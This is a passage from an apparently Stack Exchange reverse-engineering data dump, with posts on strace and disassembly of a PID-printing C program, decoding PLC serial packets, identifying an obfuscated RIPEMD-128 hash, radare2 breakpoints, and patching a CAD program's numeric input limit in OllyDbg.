ensures that the file descriptors are suitably modified before starting the program.&lt;sup&gt;2&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XjXz8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XjXz8.png&quot; alt=&quot;Table 4-1 Standard File Descriptors&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that if one wishes to print to the terminal, one must make a &lt;code&gt;write()&lt;/code&gt; system call using the already open &lt;code&gt;stdout&lt;/code&gt; file descriptor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple example program to make things more clear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;sys/types.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;&#xA;int main(void) {&#xA;        pid_t current_PID = getpid();&#xA;        pid_t parent_PID = getppid();&#xA;&#xA;        printf(&quot;Current process ID: %d\n&quot;, current_PID);&#xA;        printf(&quot;Parent process ID: %d\n&quot;, parent_PID);&#xA;&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can retrieve the process ID of the shell via the &lt;code&gt;echo $$&lt;/code&gt; command (&lt;code&gt;bash&lt;/code&gt; is assumed to be the shell here).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo $$&#xA;29760&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then we compile and run the example program (which I simply called &lt;code&gt;pid&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./pid &#xA;Current process ID: 9071&#xA;Parent process ID: 29760&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The parent process ID is that of the shell which started the &lt;code&gt;pid&lt;/code&gt; process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see what is happening at the CPU level, here is disassembly of &lt;code&gt;main()&lt;/code&gt; with comments explaining the relevant operations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;main&amp;gt;:&#xA;push   %ebp&#xA;mov    %esp,%ebp&#xA;and    $0xfffffff0,%esp&#xA;sub    $0x20,%esp&#xA;call   8048340 &amp;lt;getpid@plt&amp;gt;  # libc wrapper around getpid() system call&#xA;mov    %eax,0x18(%esp)       # write return value (PID) in register to stack&#xA;call   8048370 &amp;lt;getppid@plt&amp;gt; # libc wrapper around getppid() system call&#xA;mov    %eax,0x1c(%esp)       # write return value (PPID) in register to stack&#xA;mov    0x18(%esp),%eax       # read from stack, write to register&#xA;mov    %eax,0x4(%esp)        # write register value to stack as 2nd arg to printf (PID)&#xA;movl   $0x8048560,(%esp)     # read format string from memory, write to stack as 1st arg to printf&#xA;call   8048330 &amp;lt;printf@plt&amp;gt;  # libc wrapper around write() system call&#xA;mov    0x1c(%esp),%eax       # read PPID saved on stack, write to register&#xA;mov    %eax,0x4(%esp)        # write PPID in register to stack as 2nd arg to printf&#xA;movl   $0x8048578,(%esp)     # read format string from memory, write to stack as 1st arg to printf&#xA;call   8048330 &amp;lt;printf@plt&amp;gt;  # libc wrapper around write() system call&#xA;mov    $0x0,%eax&#xA;leave  &#xA;ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;code&gt;strace&lt;/code&gt; output for the example program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strace ./pid&#xA;execve(&quot;./pid&quot;, [&quot;./pid&quot;], [/* 53 vars */]) = 0&#xA;[ Process PID=10017 runs in 32 bit mode. ]&#xA;brk(0)                                  = 0x943d000&#xA;access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)&#xA;mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7793000&#xA;access(&quot;/etc/ld.so.preload&quot;, R_OK)      = -1 ENOENT (No such file or directory)&#xA;open(&quot;/etc/ld.so.cache&quot;, O_RDONLY|O_CLOEXEC) = 3&#xA;fstat64(3, {st_mode=S_IFREG|0644, st_size=155012, ...}) = 0&#xA;mmap2(NULL, 155012, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff776d000&#xA;close(3)                                = 0&#xA;access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)&#xA;open(&quot;/lib/i386-linux-gnu/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = 3&#xA;read(3, &quot;\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0P\234\1\0004\0\0\0&quot;..., 512) = 512&#xA;fstat64(3, {st_mode=S_IFREG|0755, st_size=1763068, ...}) = 0&#xA;mmap2(NULL, 1772156, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xfffffffff75bc000&#xA;mmap2(0xf7767000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1aa000) = 0xfffffffff7767000&#xA;mmap2(0xf776a000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfffffffff776a000&#xA;close(3)                                = 0&#xA;mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff75bb000&#xA;set_thread_area(0xffc17c00)             = 0&#xA;mprotect(0xf7767000, 8192, PROT_READ)   = 0&#xA;mprotect(0x8049000, 4096, PROT_READ)    = 0&#xA;mprotect(0xf77b8000, 4096, PROT_READ)   = 0&#xA;munmap(0xf776d000, 155012)              = 0&#xA;getpid()                                = 10017&#xA;getppid()                               = 10014&#xA;fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 13), ...}) = 0&#xA;mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7792000&#xA;write(1, &quot;Current process ID: 10017\n&quot;, 26Current process ID: 10017&#xA;) = 26&#xA;write(1, &quot;Parent process ID: 10014\n&quot;, 25Parent process ID: 10014&#xA;) = 25&#xA;exit_group(0)                           = ?&#xA;+++ exited with 0 +++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;execve()&lt;/code&gt; system call on the first line and the &lt;code&gt;write()&lt;/code&gt; system calls at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The Linux Programming Interface, 2.2 The Shell, pg. 24 &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Linux Programming Interface, 4.1 Overview, pg. 69&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2018-04-21T03:58:03.330" LastActivityDate="2018-04-21T03:58:03.330" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18050" PostTypeId="1" AcceptedAnswerId="18102" CreationDate="2018-04-20T20:01:20.963" Score="0" ViewCount="439" Body="&lt;p&gt;I have an assignment at work, to get information from Jenbacher generator and show values in new  SCADA system. It has a B&amp;amp;R CP260 PLC with RS232 port and RS232 to RS485 converter. Currently it’s connected to old Winows XP PC via COM port. From hardware settings on PC I can see that it uses &lt;strong&gt;9600 baud 8N1&lt;/strong&gt;. It &lt;strong&gt;sends data packets every 5 seconds (without request)&lt;/strong&gt;. There is about 30 different variables that are shown in the old SCADA system (a lot of BOOLs and about 8 analog values. &lt;strong&gt;The whole system is 15 years old&lt;/strong&gt;. I used RealTerm to read 10 packages in HEX and I got some data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote down active power from screen with every packet received and I have some variables that are not changing so often (didn’t change while reading packets) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operating hours – &lt;strong&gt;81521&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Total active power – &lt;strong&gt;80578,3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Total reactive power – &lt;strong&gt;1053,5&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Active power from screen whit each packet received:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)  &lt;strong&gt;852&lt;/strong&gt; kW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)  &lt;strong&gt;853&lt;/strong&gt; kW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)  &lt;strong&gt;843&lt;/strong&gt; kW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4)  &lt;strong&gt;840&lt;/strong&gt; kW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5)  &lt;strong&gt;851&lt;/strong&gt; kW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6)  &lt;strong&gt;856&lt;/strong&gt; kW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7)  &lt;strong&gt;848&lt;/strong&gt; kW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8)  &lt;strong&gt;841&lt;/strong&gt; kW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9)  &lt;strong&gt;848&lt;/strong&gt; kW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10) &lt;strong&gt;852&lt;/strong&gt; kW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Active power is changing on screen with every packet received, so it must be sending power updates with every packet, but I can’t find it in the packet. I found Op hours, total active, reactive power in some packets, but it is not consistent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Discovered values in &lt;strong&gt;bold&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;13E71&lt;/strong&gt; - OP hours&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C4B97&lt;/strong&gt; - Tot. active power&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2927&lt;/strong&gt; - Tot. reactive power&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;1)&#xA;FF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208&#xA;10408000000001040820400000000104082040000000010408204000000001040820400000000104&#xA;08204000000001040820400000000104082040000000010408204000000001040820400000000104&#xA;08204000000001040820400000000104082040000000010408204040AA03490308DB405360010428&#xA;3052000004420102081040BF2101F404F0056B0A10406024023F09C3265891608D022D09534D5869&#xA;6021024A024E09034D5869601B0248091B4DD89A602460A3024E016268D2398000&lt;strong&gt;2927&lt;/strong&gt;0D8A0D5060&#xA;16020850630C20400000000114CC1440800000000114AC2040000000010408204000000A7100CC00&#xA;C80154018D055B2A58D440D6FF8C0391234CAB2022C1F600860024012A03A105B60D2040000006A1&#xA;01040820400000000104082040000000010408204000000001040820400000000104082040000000&#xA;01040820400000000104082040000000010408204000000001040820400000000104082040000000&#xA;0104082040000000010408204000000001040820400000000104082040000000ED&lt;br&gt;&#xA;2)&lt;br&gt;&#xA;FF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208&#xA;10408000000001040820400000000104082040000000010408204000000001F40104082040000000&#xA;01040820400000000104082040000000010408204000000001040820400000000104082040000000&#xA;010408204000000001040820400000000104082040000000FD0134A8A540A900D003BD0AEC010428&#xA;3052000004420102081040BF2201F404D1056B0A104060D202400239097324183360170248094B4D&#xA;984860D2024E09FB24589A602360D202430250093B499834602700182DBA0E1040CA270341022898&#xA;16020850630C20400000000114CC14408000000001142C3040000000010408204000000A75016400&#xA;CA00CA018D055B2A58D440D5FF880DFA899859811304DB00430091012A03E8014B0000000003E800&#xA;00000000000000000000000000000000000000000000000000000000000000000000000000000000&#xA;00000000000000000000000000000000000000000000000000000000000000000000000000000000&#xA;0000000000000000000000000000000000FB&lt;br&gt;&#xA;3)&lt;br&gt;&#xA;FF00000000000000000000000000000000000000000080010000000001148CB53157000000010408&#xA;20400000000104082040000000010408204000000001040820400000FE0104082040000000010408&#xA;20400000000104082040000000010408204000000001040820400000000104082040000000010408&#xA;204000000001040820400000000104082040000000FD013468D2406A006703BD0AEC010428305200&#xA;0004420102081040BF2001F404CD018E010248586960900239097324582360170247094B4D984860&#xA;D2024E09FB24589A602360D20243024F024709334D981240834B970000A57634503580C03E710102&#xA;28EC0C20400000000114AC1440800000000104880104082040000000010408A020F700E600CA00CA&#xA;018E05632E98D440D2FF990DEA8D98AC818704BF008401042A3065407401320000010468205D0000&#xA;00010408204000000001040820400000000104082040000000010408204000000001040820400000&#xA;00010408204000000001040820400000000104082040000000010408204000000001040820400000&#xA;00010408204000000001040820400000000104082040000000010408204087&lt;br&gt;&#xA;4)&lt;br&gt;&#xA;FF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208&#xA;10408000000001040820400000000104082040000000010408204000000001040820400000000104&#xA;08204000000001040820400000000104082040000000010408204000000001040820400000000104&#xA;0820400000000104082040000000010408204000000001040820404024034903E8DB405B60010428&#xA;3052000004420102081040BF2101F404F3056B0A104060D2024209CB24D899608D022E092B4D5869&#xA;6021024A024E09FB24589A608D02490243024E093B499834602700182DBA0E1040CA270341022898&#xA;16020850630C20400000000114AC1440800000000104A8000001040820400000000154A80B203E80&#xA;F900E5018D055B2A58D44096FF8D0D3A234C5E208382D3008401E42A306540740143000001046820&#xA;5D000000010408204000000001040820400000000104082040000000010408204000000001040820&#xA;40000000010408204000000001040820400000000104082040000000010408204000000001040820&#xA;40000000010408204000000001040820400000000104083040000000000000007DFF&lt;br&gt;&#xA;5)&#xA;FF00000000000000000000000000000000000000000080010000000000015415B800000000000000&#xA;00000000000000000000000000000000000000000000000000000000000000000000000000000000&#xA;00000000000000000000000000000000000000000000000000000000000000000000000000000000&#xA;00000000010408204000034D1A480DA0B640B701FF0102281852800002420102081040BF2201F404&#xA;EC018D010248586960688139098324982360170244094B4D984860A5024E09FB24589A608D024A02&#xA;43024D093B49D824602700182DBA0E1040CA27034102289816020850630C204000000001148C1C40&#xA;8000000001140C1840800000000104082040000575016400CA00CA018D055B2A58D440D7FF8903A1&#xA;23ECAB206482E8011A0D1052C02A03A10596020810408003E8010208104080000000010408204000&#xA;00000104082040000000010408204000000001040820400000000104082040000000010408204000&#xA;00000104082040000000010408204000000001040820400000000104082040000000010408204000&#xA;000001040820400000000104082040000090&lt;br&gt;&#xA;6)&lt;br&gt;&#xA;FF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208&#xA;10408000000001040820400000000104082040000000010408204000000001F40104082040000000&#xA;01040820400000000104082040000000010408204000000001040820400000000104082040000000&#xA;010408204000000001040820400000000104082040000000FD0134086D206A006803B90BCC000005&#xA;060A204081420102081040BF2201F404D4056B0A104060D202430238023009B32498916068814902&#xA;4209534DD89A6024589A608D024A0243024C0247093B49981240834B970000A57634102580C03E71&#xA;010228EC0C204000000001148C1C408000000001140C1840800000000104082040000575016400CA&#xA;00CA018D055B2A58D440DA2135E835B0579020C11640480091012A03A105D60D2040000006A10104&#xA;08204000000001040820400000000104082040000000010408204000000001040820400000000104&#xA;08204000000001040820400000000104082040000000010408204000000001040820400000000104&#xA;08204000000001040820400000000104082040000000010408204000000009FD&lt;br&gt;&#xA;7)&lt;br&gt;&#xA;FF01020810408000000001040820400000000104082040000080010000010608F060FF15B8000000&#xA;000000000000000000000000000000000000000000000000000000FF000000000000000000000000&#xA;00000000000000000000000000000000000000000000000000000000000000000000000000000000&#xA;0000000000000000000000FF00035003520067036D01FF000001900000024200000000FC2201F404&#xA;CC018E0000024902430238022F0235022E024202490241024A024F023F0249023502490242024B02&#xA;470247024E000&lt;strong&gt;C4B97&lt;/strong&gt;0000&lt;strong&gt;2927&lt;/strong&gt;035000023E71010228EC0C20400000000114AC1440800000000114&#xA;8C3040000000010408204000000A75016400CA00CA018E05632E98D440492937881AB0F0810A04D1&#xA;0112091052C02A03A105B6061020800003A101040820400000000104082040000000010408204000&#xA;00000104082040000000010408204000000001040820400000000104082040000000010408204000&#xA;00000104082040000000010408204000000001040820400000000104082040000000010408204000&#xA;000001040820400000006DFF&lt;br&gt;&#xA;8)&lt;br&gt;&#xA;FF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208&#xA;10408000000001040820400000000104082040000000010408204000000001040820400000000104&#xA;08204000000001040820400000000104082040000000010408204000000001040820400000000104&#xA;08204000000001040820400000000104082040000000010408204040D2035200D003B5130C104080&#xA;0190010248984880000000F181168C3F30F8C08D000009964D30488138022E09AB24989160488149&#xA;024109534DD89A6024589A602360D2024209534DD8246024602700182DBA0E1040CA270341022898&#xA;16020850630C20400000000114CC1440800000000104A8000001040820400000000154880F203E80&#xA;F900E5018E055B2A58D44094FF950DDA8D182BC1FF04C60112099054606540740139010208104040&#xA;74000001040820400000000104082040000000010408204000000001040820400000000104082040&#xA;00000001040820400000000104082040000000010408204000000001040820400000000104082040&#xA;0000000104082040000000010408204000000001040820400000000104082040003B&lt;br&gt;&#xA;9)&lt;br&gt;&#xA;FF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208&#xA;10408000000001040820400000000104082040000000010408204000000001040820400000000104&#xA;08204000000001040820400000000104082040000000010408204000000001040830408000000000&#xA;0000000000000000000000000000000000000000000000035003520067036D020000000190000002&#xA;4200000000FC2101F404F3018D0000024902420239022E0234022D024102490241024A024F023F02&#xA;490236024A0241024902460247024E000&lt;strong&gt;C4B97&lt;/strong&gt;0000&lt;strong&gt;2927&lt;/strong&gt;034F000&lt;strong&gt;13E71&lt;/strong&gt;0000191F00000000000001&#xA;8D00000000000000FC0000000000000000000005DB00E600E500E5018D018B018D035BFF8D036704&#xA;C3050D04D500430090012A03E8015C0000000003A101040820400000000104082040000000010408&#xA;20400000000104082040000000010408204000000001040820400000000104082040000000010408&#xA;20400000000104082040000000010408204000000001040820400000000104082040000000010408&#xA;2040000000010408204000000091FF&lt;br&gt;&#xA;10)&lt;br&gt;&#xA;FF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208&#xA;10408000000001040820400000000104082040000000010408204000000001F40104082040000000&#xA;01040820400000000104082040000000010408204000000001040820400000000104082040000000&#xA;010408204000000001040820400000000104082040000000FD013488B540A900CE03B50BEC010428&#xA;3052000004420102081040BF2101F404E1056B0A104060D2024109CB24589160CD022D090B495869&#xA;6090024A024F023F094B4D982360A50241094B4D98346024602700182DBA0E1040CA270341022898&#xA;16020850630C204000000001148C1C40800000000114EC3040000000010408204000000A7D00CC00&#xA;CA00CA018D055B2A58D440A531374889305A811C04E5008401142E3065407401610000010468205D&#xA;00000001040820400000000104082040000000010408204000000001040820400000000104082040&#xA;00000001040820400000000104082040000000010408204000000001040820400000000104082040&#xA;000000010408204000000001040820400000000104082040000000010408204069  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="24099" LastEditorUserId="24099" LastEditDate="2018-04-20T21:27:30.867" LastActivityDate="2018-04-25T17:35:22.093" Title="Decoding serial data package" Tags="|hex|serial-communication|protocol|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18051" PostTypeId="2" ParentId="17994" CreationDate="2018-04-20T20:52:41.440" Score="1" Body="&lt;p&gt;Sony has published &lt;a href=&quot;https://developer.sony.com/develop/cameras/&quot; rel=&quot;nofollow noreferrer&quot;&gt;a remote camera API&lt;/a&gt; that seems to to support image capture etc. Unfortunately, this seems to be available for Android and iOS only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there's a number of projects on github (&lt;a href=&quot;https://github.com/Bloodevil/sony_camera_api&quot; rel=&quot;nofollow noreferrer&quot;&gt;pysony&lt;/a&gt;,&lt;a href=&quot;https://github.com/storborg/sonypy&quot; rel=&quot;nofollow noreferrer&quot;&gt;sonypy&lt;/a&gt;) as well as quite a number of Sony remote tools for other languages (simply search &quot;sony remote&quot; on github) that implement a Python API that should work on OS X. There is a &lt;a href=&quot;https://developer.sony.com/develop/cameras/api-information/supported-devices&quot; rel=&quot;nofollow noreferrer&quot;&gt;list of supported cameras on the Sony developer web site&lt;/a&gt;. My old NEX-3 is not supported (probably due to the lack of Wifi, I assume remote control does not work over a USB connection), so I couldn't test the Python code.&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastActivityDate="2018-04-20T20:52:41.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18052" PostTypeId="2" ParentId="14951" CreationDate="2018-04-20T23:27:42.963" Score="6" Body="&lt;p&gt;This is quite likely either a botched RIPEMD128 or something very similar, as otus also commented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You wanted to know how to approach such a task so I'll explain what I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically, when trying to identify crypto-related code you rely on spotting constants. In this case, the constants seem to be obfuscated on purpose, so you need to play around with the numbers, throw it into Google and hope some results come up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming this might be the RIPE-family (by constant hunting), I sought out to find some code. As the input/output is 128 bits, I downloaded the code for RIPE128 from here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://homes.esat.kuleuven.be/~bosselae/ripemd160/ps/AB-9601/rmd128.c&quot; rel=&quot;noreferrer&quot;&gt;https://homes.esat.kuleuven.be/~bosselae/ripemd160/ps/AB-9601/rmd128.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then looked over it. I noticed that the operations in &lt;code&gt;compress()&lt;/code&gt; seem to use a left rotate (check the header file for the macro definitions), and that odd &lt;code&gt;TricoreDextr()&lt;/code&gt; is effectively something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then I grepped your full code for all &lt;code&gt;TricoreDextr()&lt;/code&gt; lines, and compared it to the ops in &lt;code&gt;compress()&lt;/code&gt; and some similarities appeared:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GG(aa, bb, cc, dd, X[ 7],  7);&#xA;GG(dd, aa, bb, cc, X[ 4],  6);&#xA;GG(cc, dd, aa, bb, X[13],  8);&#xA;GG(bb, cc, dd, aa, X[ 1], 13);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compare to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;d8 = TricoreDextr(d8, 7);&#xA;d6 = TricoreDextr(d6, 6);&#xA;d5 = TricoreDextr(d5, 8);&#xA;d7 = TricoreDextr(d7, 0xD);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example. The &lt;code&gt;TricoreDextr&lt;/code&gt; calls don't fully match the ripe128 implementation. I also noticed that only some of the magic numbers used inside these operations appear in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define GG(a, b, c, d, x, s)        {\&#xA;  (a) += G((b), (c), (d)) + (x) + 0x5a827999UL;\&#xA;  (a) = ROL((a), (s));\&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;does appear: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;d5 += 0x5A820000;&#xA;d5 += 0x7999;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but others don't, so some operations that &lt;em&gt;should&lt;/em&gt; be there if it was RIPE128 are definitely missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading Wikipedia taught me that before RIPE160 (and RIPE128), there was an original design for a 128 bit RIPEMD hash function but I could not locate any sourcecode from back then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reference to the original 128 bit RIPEMD hash function pointed to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.springer.com/in/book/9783540606406&quot; rel=&quot;noreferrer&quot;&gt;https://www.springer.com/in/book/9783540606406&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which should contain the original algorithm I suppose, but it's a book that costs money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing all that, my best guess would be that this is the original RIPEMD 128 bit hash function obfuscated on purpose seeing as some but not all operations from the modern implementation are there, hinting that they could be an addition from the 2nd version which would explain why they are missing. That or someone used the modern RIPEMD128 implementation and did weird things to it.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-04-20T23:27:42.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18053" PostTypeId="1" AcceptedAnswerId="18055" CreationDate="2018-04-21T02:54:08.263" Score="2" ViewCount="2674" Body="&lt;p&gt;in gdb to list active breakpoints is &lt;code&gt;info b&lt;/code&gt; how to do the same in radare2? is there any similar command in radare2 or something else?&lt;/p&gt;&#xA;" OwnerUserId="23996" LastActivityDate="2018-04-21T05:15:54.510" Title="How to list breakpoints in radare2?" Tags="|radare2|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18054" PostTypeId="1" CreationDate="2018-04-21T04:54:03.697" Score="0" ViewCount="270" Body="&lt;p&gt;being a complete noob in reversing I may have taken on too much here--I have an old piece of software, cadcam, that is still good and functions well but is limited in the size of a number it can allow to be stored for a tool number--this may not make sense to some--here is more detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The software has a form that allows you to input a tool number--that number is limited to 999 as a maximum, I have got olldbg 2.01 and I have so far tracked down some values but still have an awful lot to learn as I cannot ever find teh exact number I enter when I say use 99999999 as the tool number which causes an error box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said I have dug around in the background and found the numbers for the tool library (tools you make and decide to save for future ref) are stored in ms access db backend--now access I know, I have found how it stores the numbers for saved tools in a long int field, it happily takes 99999999+ (which I would expect). as a test i changed a tool number here to a 99999999 number and restarted the program--it now displays 57599 as the tool number--I may be wrong but I think the software was written and a 2 byte int declared where as I need a 4 (16 bits: maximum representable value 216 − 1 = 65,535).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if there is anyway to change the acceptable number to make it bigger somehow--how would I really go about it--I am always keen to have a go even when I know nothing lol.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Some further information as I try a little digging and learning. The current answer could very well be right as the software is 10 years old but upon digging I have managed to follow some of the code as I try to teach myself more, I can speculate that the locations are limited for the number as there are only 2 areas where there is any actual possibility of working with it. The tool number is nothing special and is the simple end of a one to many relationship as the to9 number is just an identifier for any possible number of operations under that top number. (Again speculation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it happens, the code when executed takes the number and passes it to Microsoft user code to return the number of “characters” in the text box, say 8 put in 1234 then it returns 5 (num char + null char) so I see wax change to 5 and then moves this to a mem location. Then it calls ntdll and checks something is not too long, this I am tying to work out. I can se a cmp of something to 4 and a call to message a but I am not good enough to follow most of this yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I learn more I hope to find the location in the dll file where it gets its cmp value from and change it to 1 char more than my desired max digit. If that stops the message box appearing I know it will write a bogus number to the db in the background which I have already confirmed is able to store a long int (ms access db file) as it does not handle numbers larger than 65635 or something like that, more investigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking for more in depth reverse engineering texts but seems hard to find. I will keep learning and digging because of the challenges it poses and report back for more help on this as required. Thanks for answers given as it does trigger other thoughts.&lt;/p&gt;&#xA;" OwnerUserId="24104" LastEditorUserId="245" LastEditDate="2018-06-25T15:37:07.877" LastActivityDate="2018-09-24T16:36:18.363" Title="Ollydbg to change int length of compiled code" Tags="|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18055" PostTypeId="2" ParentId="18053" CreationDate="2018-04-21T05:10:25.060" Score="2" Body="&lt;p&gt;&lt;code&gt;db&lt;/code&gt; is used both to set a breakpoint and to list all breakpoints. As you can be see in the command's help output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00007f60]&amp;gt; db?&#xA;|Usage: db  # Breakpoints commands&#xA;| db                       List breakpoints&#xA;| db sym.main              Add breakpoint into sym.main&#xA;| db &amp;lt;addr&amp;gt;                Add breakpoint&#xA;| db -&amp;lt;addr&amp;gt;               Remove breakpoint&#xA;| db.                      Show breakpoint info in current offset&#xA;| dbj                      List breakpoints in JSON format&#xA;| dbc &amp;lt;addr&amp;gt; &amp;lt;cmd&amp;gt;         Run command when breakpoint is hit&#xA;| dbC &amp;lt;addr&amp;gt; &amp;lt;cmd&amp;gt;         Set breakpoint condition on command&#xA;| dbd &amp;lt;addr&amp;gt;               Disable breakpoint&#xA;...&#xA;... &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So simply do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d /bin/cat&#xA;&#xA;Process with PID 261 started...&#xA;= attach 261 261&#xA;bin.baddr 0x00400000&#xA;Using 0x400000&#xA;asm.bits 64&#xA; -- Hang in 